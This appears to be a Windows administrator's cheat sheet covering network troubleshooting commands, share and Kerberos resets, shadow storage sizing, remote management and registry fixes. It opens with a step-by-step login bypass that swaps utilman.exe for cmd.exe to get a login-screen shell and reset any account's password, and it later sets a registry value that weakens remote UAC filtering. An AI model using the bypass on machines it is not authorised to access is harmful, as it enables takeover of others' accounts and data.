How to Crack a Windows Login ¶
net user [username] [password]
Here is a working method ¶
Boot the computer into a mode that gives you access to the command prompt. if you use a windows installer, select the repair computer option.
At the command prompt, change directory to C:\windows\system32
copy cmd.exe to replace utilman.exe using the following commands
move utilman.exe utilman.bak
copy cmd.exe utilman.exe
Reboot
Boot in normal mode, at the login screen use crtl+alt+del to open the windows login dialog, then use windowskey+u and the command prompt should open.
In the command prompt window type
net user [username] [password]
Commands for troubleshooting TCP/IP ¶
arp
hostname
ipconfig
nbstat
netsh
netstat
nslookup
ping
route
tracert
pathping
netdiag
telnet
ttcp
Reset network share connection and credentials ¶
First delete the mapped drive
net use \\server\share /delete
Then, reset the Kerberos tickets for the current logon session
klist purge
Reclaim disk space from system volume information ¶
To see the space allocated
vssadmin list shadowstorage
To see the current restore information
vssadmin list shadows
To resize the maximum allocated space
vssadmin resize shadowstorage /on=[X]: /For=[X]: /maxsize=[X]GB
Example:
vssadmin resize shadowstorage /on=c: /for=c: /maxsize =10GB
Management ¶
Remote shutdown
shutdown /r /m \ComputerName /c "Comment" /d [u|p] :
Local users
net user username password
net user /active:yes
Time
net time \ /set /yes
Install schema master (Domain Controller)
regsvr32 schmmgmt.dll
Print Management in Home Premium
printui /s /t2
Terminal Server Has Exceeded the Maximum Number of Allowed Connections
query session /server:[servername]
reset session [ID] /server:[servername]
Remote Desktop Connection
mstsc /v:[computername or IP] /console
Dell service tag, SN, bios
wmic bios get serialnumber
wmic useraccount get name,sid
wmic bios get smbiosbiosversion
Windows Registry Stuff ¶
Enable Net RPC Access to Windows Computers
HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Create DWORD LocalAccountTokenFilterPolicy = 1
Redirect user shell folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Resolve DNS server issues
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Dns\Client
Can’t join domain (DNS issue)
HKLM\System\CurrentControlSet\Services\LanMan\Workstation\Parameters
Create DWORD DomainCompatibilityMode = 1
Create DWORD DNSNameResolutionRequired = 0
Server Manager keeps crashing
Change this key
HKLM\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache
to
HKLM\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache.OLD